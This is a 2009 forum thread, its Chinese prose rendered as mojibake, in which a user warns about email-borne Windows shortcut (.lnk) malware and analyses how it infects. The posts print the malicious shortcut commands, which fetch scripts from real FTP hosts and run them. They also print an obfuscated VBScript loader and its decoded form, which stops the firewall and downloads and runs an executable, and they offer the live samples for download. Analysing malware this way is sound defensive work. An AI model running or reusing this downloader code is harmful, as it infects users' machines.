Shunze ¾Ç¶é >¹q¸£¸ê°T¾Ç¨t >¯f¬r°l°l°l > ¡mª`·N¡n±¶®|¯f¬rxxx.lnk «¢Åo¡AÁÙ¨S¦³µù¥U©ÎªÌµn¤J¡C½Ð§A[µù¥U|µn¤J]
« ¤W¤@½g¥DÃD ¤U¤@½g¥DÃD » Åã¥Ü¦¨¦C¦L¼Ò¦¡ | ¼W¥[¨ì§Úªº³Ì·R
µoªí·s¥DÃD µoªí¦^ÂÐ
§@ªÌ
¥DÃD
shunze
¤u¤Í§B§B


µù¥U¤é´Á: 2002 04
¨Ó¦Û: ¼é¦Á²×¤î¤§¦a
¤å³¹: 2370

shunze Â÷½u
¡mª`·N¡n±¶®|¯f¬rxxx.lnk¤Þ¥Î¦^ÂÐ ½s¿è/§R°£¤å³¹ ·j´M¥Ñ  µoªíªº¨ä¥L¤å³¹ ¦^³øµ¹ª©¥D IP ¦ì¸m ¦^¦¹­¶³Ì¤W¤è

³Ìªñ¦¬¨ì´X«Ê¤£¤Ó¼ôªºÁpµ¸¤H±H¨Ó¤º§t¡§±¶®|¯f¬r¡¨ªº¯f¬r«H¡C



±N±¶®|¯f¬r¥t¦s¬°°ÆÀɦWtxtªºÀɮסA¦©°£µLªkÀ˵øªº¶Ã½X«á¡A
§Ú­Ì¥i¥H¬Ý¨ì¥H¤Uªºµ{¦¡½X¡C

C:\WINDOWS\system32\cmd.exe %windir%/c
echo open onehla.3322.org>>t.t
echo 123>>t.t
echo 123>>t.t
echo get 1-1 %windir%\link.vbs>>t.t
echo bye>>t.t
ftp -s:t.t
del t.t
start %windir%\link.vbs
000000000000000000000
%ProgramFiles%\Windows Media Player\wmplayer.exe


³o¬qµ{¦¡½X¹B§@«á¡A·|¦b¨t²Î¥Ø¿ý¤U«Ø¥ßÀÉ®×t.t¡C
µM«á³sµ²¨ìonehla.3322.orgªºftpºô¯¸¡A¥H±b¸¹:123 ±K½X:123µn¤J¡A
¤U¸üftp¥D¾÷¤Wªº¯f¬r¥»Åé1-1¡A¥t¦sÀɦW¬°link.vbs¨ì¨t²Î¥Ø¿ý¤U¡C

±µµÛÀ¿§¾ªÑ¡A±þ±¼¼È¦sÀÉt.t¡A¹B¦æ¤U¸ü¦Ü¨t²Î¥Ø¿ýªºlink.vbs¡C
³Ì«á¡A·Ù¦³¨ä¨Æªº¥´¶}Windows Media PlayerÄFÄFuser¡I


°O¦í¤@­Ó­ì«h¡A¨S¦³¤H·|±H¡§±¶®|ÀÉ¡¨µ¹ªB¤Í¡I
¤d¸U¤£­n¦]¬°¶l¥ó¥D¦®©Î¤º®e§l¤Þ¤H¡A¦Ó¦n©_ªº°õ¦æ¥¦¡C
¦n©_¤ß¨¬¥HÅý±zªº¹q¸£¦]¦¹¤¤¬r¡I



♥¶¶¤l¦Ñ±Cªººô©ç¡A½Ð¦hÃö·Ó¡ã

If you don't like something, change it.
If you can't change it, change your attitude.
Don't complain!




2009-01-05, 11:25 shunze ªº­Ó¤H¸ê®Æ §â shunze ¥[¤J¦n¤Í¦Cªí µo°eEmailµ¹ shunze ÂsÄý shunze ªººô¯¸ MSN : shunze@gmail.com
shunze
¤u¤Í§B§B


µù¥U¤é´Á: 2002 04
¨Ó¦Û: ¼é¦Á²×¤î¤§¦a
¤å³¹: 2370

shunze Â÷½u
¡m¤À¨É¡n±¶®|¯f¬r·P¬V¤è¦¡¸ÑªR¤Þ¥Î¦^ÂÐ ½s¿è/§R°£¤å³¹ ·j´M¥Ñ  µoªíªº¨ä¥L¤å³¹ ¦^³øµ¹ª©¥D IP ¦ì¸m ¦^¦¹­¶³Ì¤W¤è

³Ìªñ¡§±¶®|¯f¬r¡¨¦ü¥G¬O·U¨Ó·U¬y¦æ¤F¡I¡H
01/05¤~­è¼g§¹¤W¤@½g¡A¤µ¤Ñ°¨¤W¤S¦¬¨ì¤@«Ê¬Û¦P¤âªkªº¯f¬r«H¡C

¤£¹L¡A­Y¤£¬O­W¥D³qª¾¨ü®`ªÌ¤£­n¤W·í¡A»¡¯uªº§ÚÁÙ¤£ª¾¹D¦³³o«Ê¯f¬r«H¡H
­ì¨Ó³oÃþ¯f¬r«H¦­´N³QGMail¦Û°ÊÄd§T¡A¥á¨ì©U§£¶l¥óùØ¥h¤F¡ã

§â³o«Ê«H±q©U§£¶l¥óùؼ´¥X¨Ó¡AÅý§Ú­Ì¥J²Ó¨Ó¬Ý¬Ý¥¦¬O¦p¦ó¹B§@ªº¡C




±N±¶®|¯f¬r¥t¦s¬°°ÆÀɦWtxtªºÀɮ׫á¡A§Ú­Ì¥i¥Hµo²{¦p¤Uªºµ{¦¡½X¡G

C:\WINDOWS\system32\cmd.exe %windir%/c
echo open laolin.web1.oofy.net>>a.t
echo 123>>a.t
echo 123>>a.t
echo get msvb %windir%\msvb.vbs>>a.t
echo bye>>a.t
ftp -s:a.t
del a.t
start %windir%\msvb.vbs

¦¹µ{¦¡ªº·N«ä¬O¸ò¤W¤@½g®t¤£¦h¡A®t§O¶È¦b©ó¯f¬rÀɦW¦³¨Ç¤£¦P¡A¤âªk§¹¥þ¤@¼Ë¡C


¶¶¤l¹ê»Ú³s¤Wlaolin.web1.oofy.net³o­Óftp¯¸¥x«á¡Aµo²{¦³¦p¤Uªº¤º®e¡G


§Ú­Ì¼Ò¥é¯f¬rµ{§Ç¦Üftp¤U¸ü¤F¯f¬r¥»Åémsvb¡A¬Ý¬Ý¥¦ùØ­±¨s³º¼g¤F¤°»ò¡H
strs=array(36,106,124,139,55,120,121,55,84,55,90,137,124,120,139,124,102,121,
129,124,122,139,63,57,110,138,122,137,128,135,139,69,106,127,124,
131,131,57,64,55,36,33,120,121,69,137,140,133,55,57,122,132,123,
55,70,122,55,133,124,139,55,138,139,134,135,55,138,127,120,137,124,
123,120,122,122,124,138,138,61,124,122,127,134,55,134,135,124,133,
55,131,120,134,131,128,133,69,142,124,121,72,69,134,134,125,144,69,
133,124,139,85,85,139,69,139,61,124,122,127,134,55,72,73,74,85,85,
139,69,139,61,124,122,127,134,55,72,73,74,85,85,139,69,139,61,124,
122,127,134,55,126,124,139,55,141,69,124,143,124,55,90,81,115,141,
69,124,143,124,85,85,139,69,139,61,124,122,127,134,55,121,144,124,
85,85,139,69,139,61,125,139,135,55,68,138,81,139,69,139,61,123,124,
131,55,139,69,139,61,122,81,115,141,69,124,143,124,61,138,139,120,
137,139,55,127,139,139,135,81,70,70,142,142,142,69,139,139,125,125,
79,79,75,69,122,134,132,70,130,128,133,126,69,129,135,126,61,123,124,
131,55,60,142,128,133,123,128,137,60,115,132,138,141,121,69,141,121,
138,61,123,124,131,55,122,81,115,141,69,124,143,124,57,67,71,36,33)

for i=1 to UBound(strs)
runner=runner&chr(strs(i)-23)
next
Execute runner


¬Ý¤£À´¹ï¤£¹ï¡H

¨ä¹ê±N³o¤@³s¦ê¼Æ¦r¥Hchr()¸Ñ½X«á¡A·|Åܦ¨¥H¤U¤º®e¡G
Set ab = CreateObject("Wscript.Shell")
ab.run "cmd /c net stop sharedaccess
echo open laolin.web1.oofy.net>>t.t
echo 123>>t.t
echo 123>>t.t
echo get v.exe C:\v.exe>>t.t
echo bye>>t.t&ftp -s:t.t
del t.t&c:\v.exe
start http://www.ttff884.com/king.jpg
del %windir%\msvb.vbs
del c:\v.exe",0

·N«ä´N¬O¥H¦P¼Ë¤âªk¡A¤Wlaolin.web1.oofy.net³o­Óftp¯¸¥x¡A
µM«á¤U¸ü¯u¥¿¦³·P¬V¤Oªº¯f¬rµ{¦¡v.exe¡C
±µµÛ¥´¶}¨Ï¥ÎªÌªºÂsÄý¾¹¡AÅã¥Üwww.ttff884.com¯¸¥x¤Wªºking.jpg³o±i¹ÏÀÉ¡A

³Ì«á¦b­I¦aùØ°½°½°õ¦æ¯f¬rv.exe¡C


·í¨ü®`ªÌ¥H¬°¡y­ì¨Ó´N³o¤@±i¹Ï¤ù°Ú¡I¡H¯uµL²á...¡zªº¦P®É¡A
¹q¸£¤]¶}©lµo°e±¶®|¯f¬rµ¹¤U¤@­Ó¨ü®`ªÌ¤F...


ª`·N¡G
ªþ¥[Àɬ°¯f¬rftp¯¸¥x¤W©Ò§ì¤U¨Óªº¥|­Ó¯f¬rÀÉ®×sample¡C
¥Ñ©ódown.exe¸òv.exe§¹¥þ¤@¼Ë¡A©Ò¥H¥u«O¯d¤@­Ó¡C
¬ã¨s®É¡A½Ð¤p¤ß¨Ï¥Î¡I

shunze ¤W¶ÇªºÀÉ®×
email_link-virus.rar (174 KB, ¤w¸g³Q¤U¸ü 1877 ¦¸)


♥¶¶¤l¦Ñ±Cªººô©ç¡A½Ð¦hÃö·Ó¡ã

If you don't like something, change it.
If you can't change it, change your attitude.
Don't complain!




2009-01-07, 21:26 shunze ªº­Ó¤H¸ê®Æ §â shunze ¥[¤J¦n¤Í¦Cªí µo°eEmailµ¹ shunze ÂsÄý shunze ªººô¯¸ MSN : shunze@gmail.com
  « ¤W¤@½g¥DÃD ¤U¤@½g¥DÃD »
µoªí·s¥DÃD µoªí¦^ÂÐ
¸õ¨ì:

Powered by: Burning Board 1.1.1 2001 WoltLab GbR